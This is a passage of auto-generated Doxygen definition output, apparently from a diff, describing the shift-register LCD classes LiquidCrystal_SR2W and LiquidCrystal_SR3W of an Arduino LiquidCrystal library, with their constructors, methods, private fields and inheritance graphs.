'197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1aa36d38c009bf846e7726fc48c0067fc3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1ad188042fdcc7df0178248401c678eb8e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a2e43c3f1d6b0e5599a1b4d14ef428077'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + cp-fileline = '138'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 23; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 22; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '23'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 25; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 24; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '25'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r3_w'; + cp-name = 'LiquidCrystal_SR3W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ae1396bcd5e9c5b7ed13182c166de776b'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '90'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the IO driving the + shift register. The constructor does not initialize the LCD. + Default configuration: + Shift register LCD + QA - 0 DB4 + QB - 1 DB5 + QC - 2 DB6 + QD - 3 DB7 + QE - 4 E + QF - 5 + QG - 6 Rs + GND Rw + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to the shiftregister data pin. + @param clk[in] digital IO connected to the shiftregister clock pin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a7b2f382b76bc9d88adb8d681e824b4de'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a24f051747dfeda48f7b207c3358c8015'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '119'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a4fab8ff2f21bba3efd133cd8c87fffc0'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '114'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the control lines of + the LCD and the shiftregister. The constructor does not initialize the LCD. + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to shiftregister data pin. + @param clk[in] digital IO connected to shiftregister clock pin. + @param En[in] LCD En (Enable) pin connected to SR output pin. + @param Rw[in] LCD Rw (Read/write) pin connected to SR output pin. + @param Rs[in] LCD Rs (Reg Select) pin connected to SR output pin. + @param d4[in] LCD data 4 pin map to the SR output pin. + @param d5[in] LCD data 5 pin map to the SR output pin. + @param d6[in] LCD data 6 pin map to the SR output pin. + @param d7[in] LCD data 7 pin map to the SR output pin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ade34af5b7fe795482f1848c2176d6e56'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '133'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a6d0fc7907ef9fd87c408a21b9bd49295'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a894d0ea8ea61c1d15acd8a26d417e477'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '143'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a45cde916021d9b52b0f769c17886b2ef'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a80f6e4e8b10635d9daed718f2918c1bd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '183'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract load into the shift register a byte + @discussion loads into the shift register a byte + @param value[in]: value to be loaded into the shiftregister. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ac0702caa5d07ffd8e832ad8a5d0afe7c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '175'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a21ef2e5b78edd0d160d81b0c06d41440'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPinMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1adf17379bfac4def5c780fc8ad023764c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightStsMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a2c14746e8f626a53f777c8df68f8a92b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_clk'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '190'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1af7d09207dffb9f2fc85fc60661ffa0d4'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_clk_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '191'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ab81049d446d2e7399ee6b20c9da4cdde'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '188'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a366adab314f5dc8b7e53298d6eccf85d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a301acb36345c56ae336156fdeee4a783'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '189'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a4306c59b6bf3870fecad23d6b0c0aa5d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_En'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a062da9fb985a7e88128d7d95fd8239d6'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rs'; + sec-mem-desc-file = 